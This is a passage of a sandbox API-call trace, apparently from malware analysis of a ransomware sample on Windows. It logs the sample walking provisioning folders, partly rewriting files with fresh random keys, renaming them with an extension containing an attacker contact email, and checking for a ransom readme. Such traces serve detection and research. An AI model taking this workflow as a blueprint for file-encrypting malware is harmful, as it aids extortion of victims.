lpNumberOfBytesWritten=0x2033fb64*=0x8, lpOverlapped=0x0) returned 1 [0078.437] WriteFile (in: hFile=0xa24, lpBuffer=0x2033fb7c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2033fb64, lpOverlapped=0x0 | out: lpBuffer=0x2033fb7c*, lpNumberOfBytesWritten=0x2033fb64*=0x4, lpOverlapped=0x0) returned 1 [0078.437] WriteFile (in: hFile=0xa24, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2033fb64, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2033fb64*=0x4, lpOverlapped=0x0) returned 1 [0078.437] WriteFile (in: hFile=0xa24, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2033fb64, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2033fb64*=0x6c, lpOverlapped=0x0) returned 1 [0078.437] WriteFile (in: hFile=0xa24, lpBuffer=0x3492f00*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2033fb64, lpOverlapped=0x0 | out: lpBuffer=0x3492f00*, lpNumberOfBytesWritten=0x2033fb64*=0x20, lpOverlapped=0x0) returned 1 [0078.437] WriteFile (in: hFile=0xa24, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2033fb64, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2033fb64*=0x4, lpOverlapped=0x0) returned 1 [0078.437] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492f00) returned 1 [0078.437] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493130) returned 1 [0078.437] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493220) returned 1 [0078.437] CloseHandle (hObject=0xa24) returned 1 [0078.437] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10c) returned 0x33e8f08 [0078.437] wcscpy (in: _Dest=0x33e8f08, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml" [0078.438] wcscat (in: _Dest=0x33e8f08, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" [0078.438] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\masterdatastore.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0078.438] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0078.439] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8f08) returned 1 [0078.439] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml", dwFileAttributes=0x20) returned 0 [0078.439] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x33f8248 [0078.439] wcscpy (in: _Dest=0x33f8248, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\" [0078.439] wcscat (in: _Dest=0x33f8248, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\D0E731-Readme.txt" [0078.439] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\d0e731-readme.txt")) returned 0x20 [0078.439] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f8248) returned 1 [0078.439] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34766b8) returned 1 [0078.439] RtlExitUserThread (Status=0x1) Thread: id = 877 os_tid = 0x14b8 [0078.440] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb0) returned 0x34299a8 [0078.440] wcscpy (in: _Dest=0x34299a8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov" [0078.440] wcscat (in: _Dest=0x34299a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\" [0078.440] wcscat (in: _Dest=0x34299a8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\*" [0078.440] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f3510 [0078.440] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\*", lpFindFileData=0x33f3510 | out: lpFindFileData=0x33f3510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0658 [0078.441] wcscmp (_String1=".", _String2=".") returned 0 [0078.441] FindNextFileW (in: hFindFile=0x33e0658, lpFindFileData=0x33f3510 | out: lpFindFileData=0x33f3510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.441] wcscmp (_String1="..", _String2=".") returned 1 [0078.441] wcscmp (_String1="..", _String2="..") returned 0 [0078.441] FindNextFileW (in: hFindFile=0x33e0658, lpFindFileData=0x33f3510 | out: lpFindFileData=0x33f3510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0078.441] wcscmp (_String1="RunTime", _String2=".") returned 1 [0078.441] wcscmp (_String1="RunTime", _String2="..") returned 1 [0078.441] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xbc) returned 0x3431808 [0078.441] wcscpy (in: _Dest=0x3431808, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov" [0078.441] wcscat (in: _Dest=0x3431808, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\" [0078.441] wcscat (in: _Dest=0x3431808, _Source="RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime" [0083.032] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3431808, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa20 [0083.032] FindNextFileW (in: hFindFile=0x33e0658, lpFindFileData=0x33f3510 | out: lpFindFileData=0x33f3510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fa1af1, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fa1af1, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fa1af1, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x222, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0083.032] wcscmp (_String1="RunTime.xml", _String2=".") returned 1 [0083.032] wcscmp (_String1="RunTime.xml", _String2="..") returned 1 [0083.032] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x33f7068 [0083.032] wcscpy (in: _Dest=0x33f7068, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov" [0083.032] wcscat (in: _Dest=0x33f7068, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\" [0083.032] wcscat (in: _Dest=0x33f7068, _Source="RunTime.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml" [0083.033] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f7068, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x550 [0083.033] FindNextFileW (in: hFindFile=0x33e0658, lpFindFileData=0x33f3510 | out: lpFindFileData=0x33f3510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fa1af1, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fa1af1, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fa1af1, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x222, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0083.033] FindClose (in: hFindFile=0x33e0658 | out: hFindFile=0x33e0658) returned 1 [0083.033] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f3510) returned 1 [0083.033] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34299a8) returned 1 [0083.033] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34287b0) returned 1 [0083.033] RtlExitUserThread (Status=0x0) Thread: id = 878 os_tid = 0x14bc [0078.442] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml")) returned 0x20 [0078.443] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml", dwFileAttributes=0x20) returned 1 [0078.443] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa20 [0078.443] GetFileSizeEx (in: hFile=0xa20, lpFileSize=0x2043fd50 | out: lpFileSize=0x2043fd50*=637531) returned 1 [0078.443] SetFilePointerEx (in: hFile=0xa20, liDistanceToMove=0x9ba57, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.443] ReadFile (in: hFile=0xa20, lpBuffer=0x2043fd24, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2043fd20, lpOverlapped=0x0 | out: lpBuffer=0x2043fd24*, lpNumberOfBytesRead=0x2043fd20*=0x4, lpOverlapped=0x0) returned 1 [0078.444] SetFilePointerEx (in: hFile=0xa20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.444] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ff0 [0078.445] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492f00 [0078.445] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3493130 [0078.445] NtQuerySystemTime (in: CurrentTime=0x2043fcfc | out: CurrentTime=0x2043fcfc*=132121176363315515) returned 0x0 [0078.445] RtlRandom (in: Seed=0x2043fd08 | out: Seed=0x2043fd08) returned 0xaeca5ab6 [0078.445] RtlRandom (in: Seed=0x2043fd08 | out: Seed=0x2043fd08) returned 0x6e7fb19e [0078.445] RtlRandom (in: Seed=0x2043fd08 | out: Seed=0x2043fd08) returned 0x124facbc [0078.445] RtlRandom (in: Seed=0x2043fd08 | out: Seed=0x2043fd08) returned 0xa80d197b [0078.445] RtlRandom (in: Seed=0x2043fd08 | out: Seed=0x2043fd08) returned 0x1867cce5 [0078.445] RtlRandom (in: Seed=0x2043fd08 | out: Seed=0x2043fd08) returned 0xd7d45c82 [0078.445] RtlRandom (in: Seed=0x2043fd08 | out: Seed=0x2043fd08) returned 0xfaac37b7 [0078.445] RtlRandom (in: Seed=0x2043fd08 | out: Seed=0x2043fd08) returned 0x8e9a2151 [0078.445] RtlRandom (in: Seed=0x2043fd08 | out: Seed=0x2043fd08) returned 0xa3a66f29 [0078.445] RtlRandom (in: Seed=0x2043fd08 | out: Seed=0x2043fd08) returned 0xe3582d4e [0078.445] RtlRandom (in: Seed=0x2043fd08 | out: Seed=0x2043fd08) returned 0x226f966d [0078.445] RtlRandom (in: Seed=0x2043fd08 | out: Seed=0x2043fd08) returned 0xe024d09b [0078.445] RtlRandom (in: Seed=0x2043fd08 | out: Seed=0x2043fd08) returned 0x21f48dab [0078.445] RtlRandom (in: Seed=0x2043fd08 | out: Seed=0x2043fd08) returned 0xe3f55adb [0078.445] RtlRandom (in: Seed=0x2043fd08 | out: Seed=0x2043fd08) returned 0x53d0ab94 [0078.445] RtlRandom (in: Seed=0x2043fd08 | out: Seed=0x2043fd08) returned 0xf1977cc8 [0078.445] RtlRandom (in: Seed=0x2043fd08 | out: Seed=0x2043fd08) returned 0x9f557fe5 [0078.445] RtlRandom (in: Seed=0x2043fd08 | out: Seed=0x2043fd08) returned 0xa23f0d55 [0078.445] RtlRandom (in: Seed=0x2043fd08 | out: Seed=0x2043fd08) returned 0xf18c4806 [0078.445] RtlRandom (in: Seed=0x2043fd08 | out: Seed=0x2043fd08) returned 0x89b8108 [0078.445] RtlRandom (in: Seed=0x2043fd08 | out: Seed=0x2043fd08) returned 0xe8e50b7a [0078.445] RtlRandom (in: Seed=0x2043fd08 | out: Seed=0x2043fd08) returned 0x4f5b6111 [0078.445] RtlRandom (in: Seed=0x2043fd08 | out: Seed=0x2043fd08) returned 0xb516a297 [0078.445] RtlRandom (in: Seed=0x2043fd08 | out: Seed=0x2043fd08) returned 0xc1bdeaee [0078.445] RtlRandom (in: Seed=0x2043fd08 | out: Seed=0x2043fd08) returned 0x93af2257 [0078.445] RtlRandom (in: Seed=0x2043fd08 | out: Seed=0x2043fd08) returned 0x4a485e98 [0078.445] RtlRandom (in: Seed=0x2043fd08 | out: Seed=0x2043fd08) returned 0xe6c71712 [0078.445] RtlRandom (in: Seed=0x2043fd08 | out: Seed=0x2043fd08) returned 0x17602394 [0078.445] RtlRandom (in: Seed=0x2043fd08 | out: Seed=0x2043fd08) returned 0x2cb0dbc9 [0078.445] RtlRandom (in: Seed=0x2043fd08 | out: Seed=0x2043fd08) returned 0x2a499458 [0078.445] RtlRandom (in: Seed=0x2043fd08 | out: Seed=0x2043fd08) returned 0xa6cb33fe [0078.446] RtlRandom (in: Seed=0x2043fd08 | out: Seed=0x2043fd08) returned 0xef206018 [0078.456] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0078.456] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ff0) returned 1 [0078.456] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0078.456] SetFilePointerEx (in: hFile=0xa20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.456] ReadFile (in: hFile=0xa20, lpBuffer=0x348d230, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2043fcbc, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x2043fcbc*=0x4096, lpOverlapped=0x0) returned 1 [0078.458] SetFilePointerEx (in: hFile=0xa20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.458] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0078.458] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0078.458] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492e88 [0078.458] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492e88) returned 1 [0078.458] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0078.459] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3493040 [0078.459] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ed8 [0078.459] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ed8) returned 1 [0078.459] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0078.459] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0078.459] WriteFile (in: hFile=0xa20, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2043fcbc, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x2043fcbc*=0x4096, lpOverlapped=0x0) returned 1 [0078.459] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0078.459] SetFilePointerEx (in: hFile=0xa20, liDistanceToMove=0x50bb8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.459] ReadFile (in: hFile=0xa20, lpBuffer=0x348d230, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2043fcbc, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x2043fcbc*=0x4096, lpOverlapped=0x0) returned 1 [0078.460] SetFilePointerEx (in: hFile=0xa20, liDistanceToMove=0x50bb8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.460] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0078.460] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480570 [0078.461] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3493180 [0078.461] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493180) returned 1 [0078.461] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0078.461] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3493180 [0078.461] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492fa0 [0078.461] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492fa0) returned 1 [0078.461] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0078.461] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0078.461] WriteFile (in: hFile=0xa20, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2043fcbc, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x2043fcbc*=0x4096, lpOverlapped=0x0) returned 1 [0078.461] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0078.461] SetFilePointerEx (in: hFile=0xa20, liDistanceToMove=0x979c5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.461] ReadFile (in: hFile=0xa20, lpBuffer=0x348d230, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2043fcbc, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x2043fcbc*=0x4096, lpOverlapped=0x0) returned 1 [0078.462] SetFilePointerEx (in: hFile=0xa20, liDistanceToMove=0x979c5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.462] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fced8 [0078.462] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347fee0 [0078.462] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492eb0 [0078.462] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492eb0) returned 1 [0078.463] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0078.463] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3493068 [0078.463] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492e10 [0078.463] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492e10) returned 1 [0078.463] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fee0) returned 1 [0078.463] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fced8) returned 1 [0078.463] WriteFile (in: hFile=0xa20, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2043fcbc, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x2043fcbc*=0x4096, lpOverlapped=0x0) returned 1 [0078.463] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0078.463] WriteFile (in: hFile=0xa20, lpBuffer=0x3493040*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2043fd18, lpOverlapped=0x0 | out: lpBuffer=0x3493040*, lpNumberOfBytesWritten=0x2043fd18*=0x20, lpOverlapped=0x0) returned 1 [0078.463] WriteFile (in: hFile=0xa20, lpBuffer=0x3493180*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2043fd18, lpOverlapped=0x0 | out: lpBuffer=0x3493180*, lpNumberOfBytesWritten=0x2043fd18*=0x20, lpOverlapped=0x0) returned 1 [0078.463] WriteFile (in: hFile=0xa20, lpBuffer=0x3493068*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2043fd18, lpOverlapped=0x0 | out: lpBuffer=0x3493068*, lpNumberOfBytesWritten=0x2043fd18*=0x20, lpOverlapped=0x0) returned 1 [0078.464] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0078.464] WriteFile (in: hFile=0xa20, lpBuffer=0x3493220*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2043fd20, lpOverlapped=0x0 | out: lpBuffer=0x3493220*, lpNumberOfBytesWritten=0x2043fd20*=0x8, lpOverlapped=0x0) returned 1 [0078.464] WriteFile (in: hFile=0xa20, lpBuffer=0x2043fd38*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2043fd20, lpOverlapped=0x0 | out: lpBuffer=0x2043fd38*, lpNumberOfBytesWritten=0x2043fd20*=0x4, lpOverlapped=0x0) returned 1 [0078.464] WriteFile (in: hFile=0xa20, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2043fd20, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2043fd20*=0x4, lpOverlapped=0x0) returned 1 [0078.464] WriteFile (in: hFile=0xa20, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2043fd20, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2043fd20*=0x6c, lpOverlapped=0x0) returned 1 [0078.464] WriteFile (in: hFile=0xa20, lpBuffer=0x3492f00*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2043fd20, lpOverlapped=0x0 | out: lpBuffer=0x3492f00*, lpNumberOfBytesWritten=0x2043fd20*=0x20, lpOverlapped=0x0) returned 1 [0078.464] WriteFile (in: hFile=0xa20, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2043fd20, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2043fd20*=0x4, lpOverlapped=0x0) returned 1 [0078.464] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492f00) 